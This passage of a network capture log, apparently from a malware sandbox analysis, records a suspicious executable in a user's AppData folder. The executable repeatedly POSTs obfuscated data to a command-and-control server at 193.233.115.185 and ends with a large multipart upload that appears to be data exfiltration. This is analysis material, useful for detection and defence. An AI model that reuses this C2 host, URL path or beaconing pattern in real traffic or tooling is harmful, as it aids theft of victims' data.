                                                            Jul 10, 2024 09:06:30.672811031 CEST2548OUTData Raw: 56 50 51 52 5f 5c 55 5f 59 59 51 58 52 51 56 50 57 5c 5d 5d 5a 5a 55 5c 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VPQR_\U_YYQXRQVPW\]]ZZU\_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$/<&"1\#/+W463/(T);+7#&8=(44/#F".[
                                                            Jul 10, 2024 09:06:31.246958017 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:31.251682997 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:31 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            17192.168.2.449757193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:31.421582937 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:31.776619911 CEST2548OUTData Raw: 56 56 54 55 5f 59 55 5b 59 59 51 58 52 5a 56 52 57 52 5d 52 5a 5c 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VVTU_YU[YYQXRZVRWR]RZ\U^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$82T5*=4T<<='R4'=Z0*+] =<S2)?(.5#F".[ ,
                                                            Jul 10, 2024 09:06:32.111354113 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:32.115607977 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:32 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            18192.168.2.449759193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:32.255261898 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:32.604604006 CEST2548OUTData Raw: 56 55 51 56 5f 58 50 5e 59 59 51 58 52 5e 56 54 57 5c 5d 5a 5a 5a 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VUQV_XP^YYQXR^VTW\]ZZZU^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$,,*T!:)#!#^+87.$Z4V)(<7.7%85+$8.5#F".[ <
                                                            Jul 10, 2024 09:06:32.927489042 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:33.192612886 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:32 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            19192.168.2.449761193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:33.447542906 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:33.792184114 CEST2548OUTData Raw: 56 51 51 50 5f 5f 50 5a 59 59 51 58 52 5b 56 56 57 57 5d 5b 5a 50 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VQQP__PZYYQXR[VVWW][ZPU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'.?=!)&#"+<.7)'Z;)4"=%F<$+Z/#F".[ (
                                                            Jul 10, 2024 09:06:34.115636110 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:34.228116989 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:34 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            20192.168.2.449762193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:34.418474913 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:34.776719093 CEST2548OUTData Raw: 56 5c 51 52 5f 59 50 5a 59 59 51 58 52 5d 56 51 57 57 5d 58 5a 5a 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V\QR_YPZYYQXR]VQWW]XZZU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'81")_ ;?V7=0>;?X"-72&F<#,5#F".[ 0
                                                            Jul 10, 2024 09:06:35.093498945 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:35.093528032 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:34 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            21192.168.2.449763193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:35.236193895 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1876
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            22192.168.2.449764193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:35.291589022 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:35.635905981 CEST2548OUTData Raw: 56 53 54 57 5f 59 50 5a 59 59 51 58 52 50 56 52 57 50 5d 58 5a 5f 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VSTW_YPZYYQXRPVRWP]XZ_UX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Y;?)!)^47Z)=0#4Z3<V)+/]#='186G++\8#F".[
                                                            Jul 10, 2024 09:06:35.950938940 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:35.954864979 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:35 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            23192.168.2.449765193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:36.098000050 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:36.098046064 CEST2548OUTData Raw: 56 54 54 52 5f 5d 55 5a 59 59 51 58 52 5e 56 5b 57 54 5d 53 5a 51 55 5a 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VTTR_]UZYYQXR^V[WT]SZQUZ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',?!! 1<)>84')&<;*7 =31B(7[/#F".[ <
                                                            Jul 10, 2024 09:06:36.771545887 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:36.776519060 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:36 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            24192.168.2.449766193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:36.922971010 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:37.276406050 CEST2548OUTData Raw: 56 50 54 57 5f 5d 55 50 59 59 51 58 52 5a 56 5a 57 51 5d 59 5a 5b 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VPTW_]UPYYQXRZVZWQ]YZ[U]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'.,2"97"+R#'5&, T*((7><T$+>47,#F".[ ,
                                                            Jul 10, 2024 09:06:37.622559071 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:37.635574102 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:37 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            25192.168.2.449767193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:37.940615892 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:38.292289972 CEST2548OUTData Raw: 56 54 54 56 5a 5b 55 59 59 59 51 58 52 5d 56 55 57 50 5d 5f 5a 5b 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VTTVZ[UYYYQXR]VUWP]_Z[U^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'//2T!**71#]?/V4'!\'/$R)'#-72.G<7#^/%#F".[ 0
                                                            Jul 10, 2024 09:06:38.607413054 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:38.611315966 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:38 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            26192.168.2.449768193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:38.734467030 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2544
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:39.088927031 CEST2544OUTData Raw: 53 52 54 56 5a 59 55 58 59 59 51 58 52 58 56 5b 57 55 5d 5e 5a 5a 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SRTVZYUXYYQXRXV[WU]^ZZU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'.,.V6!X#,?#R7)$Z$U)83]"=4W$+(0;5#F".[


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            27192.168.2.449769193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:39.106607914 CEST354OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: multipart/form-data; boundary=----zT3K1V3mgUrnAzl4Fq9z89iUX6rvyBXPoy
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 195210
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:39.463987112 CEST12360OUTData Raw: 2d 2d 2d 2d 2d 2d 7a 54 33 4b 31 56 33 6d 67 55 72 6e 41 7a 6c 34 46 71 39 7a 38 39 69 55 58 36 72 76 79 42 58 50 6f 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                            Data Ascii: ------zT3K1V3mgUrnAzl4Fq9z89iUX6rvyBXPoyContent-Disposition: form-data; name="0"Content-Type: text/plainVUQPZ_P[YYQXRZVTWQ]]ZQUX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q
                                                            Jul 10, 2024 09:06:39.469235897 CEST2472OUTData Raw: 41 47 2b 58 4c 31 58 33 35 57 61 47 76 54 4f 71 6a 6c 2f 47 37 30 6b 57 4e 66 6f 49 57 54 69 4d 2b 74 43 4f 53 2b 75 42 78 65 37 39 64 50 4e 69 76 4f 4b 54 79 56 6b 6d 63 73 75 34 73 6b 62 76 31 59 46 51 49 64 46 37 31 46 42 52 38 42 38 75 6f 6b
                                                            Data Ascii: AG+XL1X35WaGvTOqjl/G70kWNfoIWTiM+tCOS+uBxe79dPNivOKTyVkmcsu4skbv1YFQIdF71FBR8B8uokeNxNnkXQo4Esx0T7DHePh4vIn0Gr7Wv1mdk09MproTNfNKXETmeS1Vw+zriWHj+UHP6w85ip4kjfLUYhSMwi9mtOhelLQvZZ8OSPrlammSfmiMoXKMf1hZ7M8jQmvMS/i+92C0iYDhT/BDwdDIq1GsjeFfj7jju+k
                                                            Jul 10, 2024 09:06:39.469311953 CEST4944OUTData Raw: 65 42 72 56 58 37 39 32 63 48 39 39 35 2f 39 39 6a 38 74 61 34 68 56 6f 54 73 59 6e 45 38 62 77 47 48 72 59 69 77 45 49 54 58 31 39 73 44 34 51 53 48 6a 45 66 38 51 4f 67 39 53 62 38 35 41 4b 55 55 59 55 6d 74 64 44 6a 47 73 44 45 77 74 55 2f 62
                                                            Data Ascii: eBrVX792cH995/99j8ta4hVoTsYnE8bwGHrYiwEITX19sD4QSHjEf8QOg9Sb85AKUUYUmtdDjGsDEwtU/bNbKzNRcwPKZTxPIwfik56/Uu8QyH1ytVT0KcbTheQkvAHWmfKWZLnTxhpH/LUbIx/UvW6rW2XCYRh1wBWk4Cj9Hg2spaGBeZEws2a9xCzRbWgjCryRmyapIhrTnnb5M6TYxGyLqOxXfW1TMteHwLdqro8oXDfo4n7
                                                            Jul 10, 2024 09:06:39.469373941 CEST4944OUTData Raw: 2b 76 46 32 38 52 5a 7a 56 78 6d 44 52 63 36 54 79 53 53 54 57 45 6b 47 52 39 64 59 43 64 31 6a 31 31 37 44 33 73 51 44 78 65 6c 43 4c 4b 2b 58 35 75 4f 51 39 54 46 6b 66 71 4c 39 50 47 37 56 53 6a 76 32 35 47 47 4f 4b 71 4b 45 43 52 50 49 68 6a
                                                            Data Ascii: +vF28RZzVxmDRc6TySSTWEkGR9dYCd1j117D3sQDxelCLK+X5uOQ9TFkfqL9PG7VSjv25GGOKqKECRPIhjO2S/V4VTJAFhnZcT/01R3ZpNTPXN0LGQbsz+fMXEEh0aKh0YUF7hZlhEdc7Kqzrr3Xa7iS6VzDL4cteqtPGeRhIMNfjBk3gTK3JOyiQbPMLmZL+T4thPvJIXkOI/JB8BWVidvt54KiCmPUC5ofy6Fj8KUx+Dxjzxg
                                                            Jul 10, 2024 09:06:39.469455957 CEST4944OUTData Raw: 67 50 44 79 61 73 61 55 4a 63 56 71 6b 4a 48 56 31 6e 67 73 77 76 4b 77 6b 39 30 4a 6b 4e 53 57 50 38 34 65 45 6f 43 73 4d 5a 70 41 43 72 42 6d 30 68 35 74 71 41 34 57 43 6d 63 74 4b 54 31 78 32 41 70 32 47 41 52 35 67 51 44 72 68 4e 62 79 38 55
                                                            Data Ascii: gPDyasaUJcVqkJHV1ngswvKwk90JkNSWP84eEoCsMZpACrBm0h5tqA4WCmctKT1x2Ap2GAR5gQDrhNby8Uh3+U6AfoMjgDRAjTQfG0Tnqaz4Up0xCmD6jQaO13cRJpKHGKrwknLkjBS6F18m+f7/Yu8945rqmvbRjShYQESDIlWk916lCXfoNQjSpAWFgHTpQkAEJdIJvQoJvUjvokAA6YSmVKX33us/wfs553l/5z1fzufzIb/
                                                            Jul 10, 2024 09:06:39.469499111 CEST4944OUTData Raw: 55 4e 6a 48 74 69 75 55 48 76 62 79 76 74 4d 73 34 63 38 68 4e 6b 74 7a 36 5a 4b 63 33 76 31 50 33 53 77 7a 53 74 79 57 64 6b 72 76 72 37 2f 66 49 71 43 61 4d 32 5a 6b 6b 58 33 35 4b 44 55 37 65 5a 33 2f 41 6d 67 53 7a 53 4b 61 6d 48 56 4a 48 76
                                                            Data Ascii: UNjHtiuUHvbyvtMs4c8hNktz6ZKc3v1P3SwzStyWdkrvr7/fIqCaM2ZkkX35KDU7eZ3/AmgSzSKamHVJHvwg/2WH4jRZYBfj6fhjGWOUhG7E2eCmuWua0p85vcPV4dSx6V/9fsIuAHOjJPbZmq9hv4rWdT9Wi/QfWfL9c+sHYJXpkhjEzfisDKujWRs0j1VXWL9eiBkVIH/0I1Y2OyX/ofhrr5sGQkniqB26R0aUP3JakSUYoTs
                                                            Jul 10, 2024 09:06:39.469563007 CEST2472OUTData Raw: 6e 6a 52 2f 6e 72 6d 79 6c 4d 76 38 6f 52 71 2b 41 42 59 66 75 46 34 41 76 74 31 57 45 72 75 35 64 52 72 4b 58 6d 55 32 48 6c 35 44 7a 34 58 46 52 4f 71 6a 58 2b 6c 53 35 46 34 41 31 79 65 72 4c 67 44 5a 75 75 4b 54 66 52 76 78 63 6d 36 39 43 64
                                                            Data Ascii: njR/nrmylMv8oRq+ABYfuF4Avt1WEru5dRrKXmU2Hl5Dz4XFROqjX+lS5F4A1yerLgDZuuKTfRvxcm69CdHu7HGFr4UPactO/U/zfC+b9ek4lvXcp3P9lSuoXG9B7F8dGZ9FcMk+c0lVw5YRcUn2jT/HkI79mxGC56lR+8twowrmuxsVG6IlxMzMDcKr0/hrIIswNuAH6PfsTTvKLMKw4eXGGKGW7PVK6fL4zEQihuC212fs8bn
                                                            Jul 10, 2024 09:06:39.474529028 CEST2472OUTData Raw: 6d 4d 68 66 64 31 39 58 74 76 41 34 61 72 66 4a 33 6c 67 47 75 31 68 39 53 37 79 62 39 37 58 45 55 32 70 75 59 43 39 78 66 6a 59 58 75 69 70 34 4c 67 77 36 6b 4c 42 71 33 6e 64 39 55 42 73 34 6b 70 6f 51 39 44 33 4e 51 31 62 69 69 39 68 76 65 4b
                                                            Data Ascii: mMhfd19XtvA4arfJ3lgGu1h9S7yb97XEU2puYC9xfjYXuip4Lgw6kLBq3nd9UBs4kpoQ9D3NQ1bii9hveKq35wrZjZPy2bHdC+CdVy+5mPfQ4ygc6vdzOWfHrplHTP5ClbSuBYX+fgOkycnSB7roLpmI1gYdNIlUaUkfvkoUVdi7pj+SONL3UpdV4n6aokP7kdp2jJiFTtZXZjgm8AqCEyvpiDOxiC7jL69Y4Ktr4f5zlr8m29+
                                                            Jul 10, 2024 09:06:39.474562883 CEST2472OUTData Raw: 36 54 4b 70 57 45 30 79 45 76 51 49 49 79 65 52 31 51 37 31 36 54 6a 7a 4e 38 45 51 6b 64 78 47 2f 59 62 4a 42 78 5a 4b 65 41 47 51 64 55 6e 6c 36 71 4f 5a 46 47 42 6b 4b 70 44 72 79 2f 79 4b 51 71 53 6b 6c 79 48 77 62 4f 69 4d 65 48 77 71 67 31
                                                            Data Ascii: 6TKpWE0yEvQIIyeR1Q716TjzN8EQkdxG/YbJBxZKeAGQdUnl6qOZFGBkKpDry/yKQqSklyHwbOiMeHwqg181Eu+crMfugIn8P8LYYWxUuFmzD+b3Xgc2aOEfCqIyYWejDIqukIgGBYmC0gLFEBq7q/zXp6NPd9EY9oxm+esYZukk2RbJPhiMfzKiNfIQS+XZprGLDBKk6R/byoYi7MV3MU9I5IejH26ogGl+YymR8QubaNTaXkY
                                                            Jul 10, 2024 09:06:39.474651098 CEST2472OUTData Raw: 53 72 55 65 63 62 58 4b 74 6e 70 30 51 70 75 52 33 4a 4d 44 64 50 58 56 53 38 59 77 61 70 34 46 78 39 6e 31 31 39 48 52 68 73 31 2b 31 37 77 6f 77 52 2b 56 54 33 78 36 4f 65 6b 32 69 31 53 58 36 31 7a 76 66 2f 4b 38 59 72 4f 66 64 79 34 72 54 39
                                                            Data Ascii: SrUecbXKtnp0QpuR3JMDdPXVS8Ywap4Fx9n119HRhs1+17wowR+VT3x6Oek2i1SX61zvf/K8YrOfdy4rT9F8T9J7BvKl7kpnQMR14s9LWESxK0mpnTUzuVLeUp21DGeuHk3YstKprbEaq4RAiKitPAmtkk7xjcFfUkqFRevFrvlKFmVh59ZCU5XGtBJT5CYENX2tiPTf82K9HdluzkQciif/1JYnvlir2n8WV7ll4zZvHeJwxT9
                                                            Jul 10, 2024 09:06:39.787543058 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:40.263353109 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:39 GMT
